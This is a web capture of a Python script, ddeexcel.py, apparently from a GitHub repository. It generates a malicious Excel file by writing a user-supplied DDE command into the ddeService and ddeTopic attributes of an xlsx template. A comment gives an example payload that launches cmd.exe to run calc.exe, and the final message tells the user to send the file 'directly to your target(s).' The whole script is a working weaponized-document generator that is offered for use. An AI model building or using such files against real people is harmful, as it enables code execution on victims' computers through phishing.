-
Notifications
You must be signed in to change notification settings - Fork 155
/
Copy pathddeexcel.py
118 lines (88 loc) · 3.58 KB
/
ddeexcel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from builtins import input # python3 support
import zipfile
import argparse
import os
import tempfile
import shutil
from lxml import etree
__version__ = "1.0"
__author__ = "0xdeadbeefJERKY"
"""
Overview:
Leverages the macro-less DDE code execution technique (described
in the blog posts listed in the References section below) to
generate one malicious Excel file.
Usage:
Install dependencies:
pip install -r requirements.txt
Insert a simple (unobfuscated) DDE command string into the
payload document:
python ddeexcel.py
This will generate one Excel file:
*out/payload-final.xlsx*
- Contains user-provided DDE payload/command string.
References:
http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
"""
def arg_parse():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser()
parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
results = parser.parse_args()
return results
def gen_payload():
# Prompt user for DDE payload
payload = []
arg1 = input("[-] Enter DDE payload argument #1: ")
arg2 = input("[-] Enter DDE payload argument #2: ")
arg3 = input("[-] Enter DDE payload argument #3 (press ENTER to omit): ")
payload.append(arg1)
payload.append(arg2)
payload.append(arg3)
"""
# Example set of DDE arguments to form payload
MSEXCEL
\..\..\..\Windows\System32\cmd.exe
/c calc.exe
"""
print('[*] Selected DDE payload: {}'.format(payload[0] + "|" + payload[1] + " " + payload[2]))
return payload
if __name__ == "__main__":
# Create 'out' directory
if not os.path.exists('out'):
os.makedirs('out')
# Set output file name and create zipfile object
payload_out = "payload-final.xlsx"
zfpay = zipfile.ZipFile('templates/payload.xlsx')
payload = gen_payload()
ddeService = payload[0]
ddeTopic = payload[1] + " " + payload[2]
# Define XML namespace
excel_schema = "{http://schemas.openxmlformats.org/spreadsheetml/2006/main}"
# Edit payload xl/externalLinks/externalLink1.xml to insert DDE payload
docxml = zfpay.read('xl/externalLinks/externalLink1.xml')
doctree = etree.fromstring(docxml)
# Find 'externalLink' XML element and change DDE attributes (ddeService and ddeTopic) to DDE payload
print('[*] Inserting DDE payload into {}/xl/externalLinks/externalLink1.xml...'.format(payload_out))
for node in doctree.iter(tag=etree.Element):
if "ddeLink" in node.tag:
node.attrib['ddeService'] = ddeService
node.attrib['ddeTopic'] = ddeTopic
# Create temp directory and extract payload.xlsx file to it
tmp_dir_pay = tempfile.mkdtemp()
zfpay.extractall(tmp_dir_pay)
# Write modified xl/externalLinks/externalLink1.xml to temp directory for payload.xlsxdocx
with open(os.path.join(tmp_dir_pay,'xl/externalLinks/externalLink1.xml'), 'w') as f:
xmlstr = etree.tostring(doctree)
f.write(xmlstr.decode())
# Get a list of all the files in the original
filenames_pay = zfpay.namelist()
# Now, create the new zip file and add all the files into the archive
zfcopypay = 'out/' + payload_out
with zipfile.ZipFile(zfcopypay, "w") as doc:
for filename in filenames_pay:
doc.write(os.path.join(tmp_dir_pay,filename), filename)
# Remove temporary directories
shutil.rmtree(tmp_dir_pay)
print('[*] Payload generation complete! Delivery methods below:\n\t1. Send {} directly to your target(s).'.format(payload_out))